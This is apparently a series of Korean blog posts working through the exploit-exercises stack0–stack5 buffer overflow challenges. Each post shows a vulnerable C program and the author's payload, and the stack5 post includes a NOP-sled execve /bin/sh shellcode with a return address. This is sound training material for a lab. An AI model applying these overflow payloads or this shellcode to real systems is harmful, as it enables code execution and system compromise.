1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. int main(int argc, char **argv)  
  7. {  
  8.   char buffer[64];  
  9.   
  10.   gets(buffer);  
  11. }  



쉘따라는 소리인것 같다.


보다 쉽게 풀기위해 쉘코드를 사용할 것이고 컴파일 옵션으로 -zexecstack을 줄 것이다.


80byte에서 eip가 완전히 덮히니 76byte를 덮은 후에 eip주소가 온다.



payload


$(python -c 'print "\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*33 + "\x6c\xd6\xff\xff"';cat) | ./stack5


'pwnable > exploit-exercise' 카테고리의 다른 글

stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09
  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. void win()  
  7. {  
  8.   printf("code flow successfully changed\n");  
  9. }  
  10.   
  11. int main(int argc, char **argv)  
  12. {  
  13.   char buffer[64];  
  14.   
  15.   gets(buffer);  
  16. }  


80byte를 덮으니 eip가 바뀐다 흠 더미가 아마 12byte 정도 붙은것 같은데 뭐 상관없지


payload

(python -c 'print "A"*76 + "\x4d\x84\x04\x08"';cat;) | ./stack4

'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

친구에게 알려주면서 오랫만에 포스팅 한다.


  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. void win()  
  7. {  
  8.   printf("code flow successfully changed\n");  
  9. }  
  10.   
  11. int main(int argc, char **argv)  
  12. {  
  13.   volatile int (*fp)();  
  14.   char buffer[64];  
  15.   
  16.   fp = 0;  
  17.   
  18.   gets(buffer);  
  19.   
  20.   if(fp) {  
  21.       printf("calling function pointer, jumping to 0x%08x\n", fp);  
  22.       fp();  
  23.   }  
  24. }  


eip를 찾아 win 함수의 주소로 덮어 씌우면 될것 같다.


역시 쉬운문제를 풀면 뭔가 힐링이 되는것 같다.



payload

(python -c 'print "A"*64 + "\x7d\x84\x04\x08"';cat;) | ./stack3

'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

문제의 소스코드를 보면 다음과 같다.


#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); }

}


getenv 를 통해 GREENIE라는 환경변수를 가져오고 있다.


그 이후는 기존에 했던 것들과 똑같으며 우리는 환경 변수를 설정해줘야 한다.



export 명령어를 통해 GREENIE라는 환경변수를 설정한 후 환경변수 속에 python으로 exploit code를 삽입한다.


그후 해당 파일을 실행하면 공격이 성공했음을 알 수 있다.





'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09
문제에 제시된 소스코드는 다음과 같다.

#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }

argc의 값을1로 만들고 stack0과 같이 버퍼오버플로우를 이용하여 값을 조작하면 될것 같다.

우리는 여기서 argc와 argv 변수를 이해할 필요가 있다.


argc : main()함수에 전달되는 정보의 갯수

argv : main함수에 전달되는 실질적인 정보


argv[0] 에는 실행 경로가 들어가 있다.


이 두 변수 또한 변수이므로 안에 들어있는 정보를 조작할 수 있다.


배열에 인자값을 직접 넘겨줘야 하므로 이 또한 python 을 이용하여 exploit code를 작성한다.




./stack1 $(python -c 'print"A"*64 + "\x64\x63\x62\x61"')


위의 명령을 실행시키게 되면 마찬가지로 배열이 A로 덮히게 되고 그 다음 메모리에 접근할 수 있다.

C언어 소스코드를 참고하여 0x61626364를 리틀엔디안 형식으로 넣어주게 되면 조건을 만족하게 된다.




'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack0  (0) 2016.07.09

제시되어 있는 소스코드는 다음과 같다.


#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }


버퍼에는 int형 변수 modified 가 할당되어 있고

그 다음 64byte 배열이 선언되어있다.

이때 modified가 0이 아닐시 저 문구를 출력하고

0이면 Try again 을 출력한다.


즉 우리는 modified 변수에 들어있는 값 을 

0이 아닌 다른 수로 바꿔야 한다.


스택을 표현해보자면 다음과 같다


| --------------------------  |

| --------------------------  |

| ------char buffer--------- |

| --------------------------  |

| --------------------------  | 

| ------modified----------  |

| --------------------------  |

| --------------------------  |


이해를 돕기 위해 대충 그린점 이해해주길 바란다.


이제 Buffer Overflow 를 이용하여 modified 속에 있는 값을 바꿔보자





(python -c 'print"A"*64 + "\x30"';cat;) | ./stack0


※사진에 오타가 있다. 

위의 명령어를 입력해 주도록 하자.

A라는 문자 64 개를 버퍼에 넣어 배열을 채운 다음부터의 

영역이 바로 modified 변수 영역이다 


python 명령어를 통해 \x30이라는 임의의 값을 넣어주었다.





공격에 성공함을 확인할 수 있다.









'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09

+ Recent posts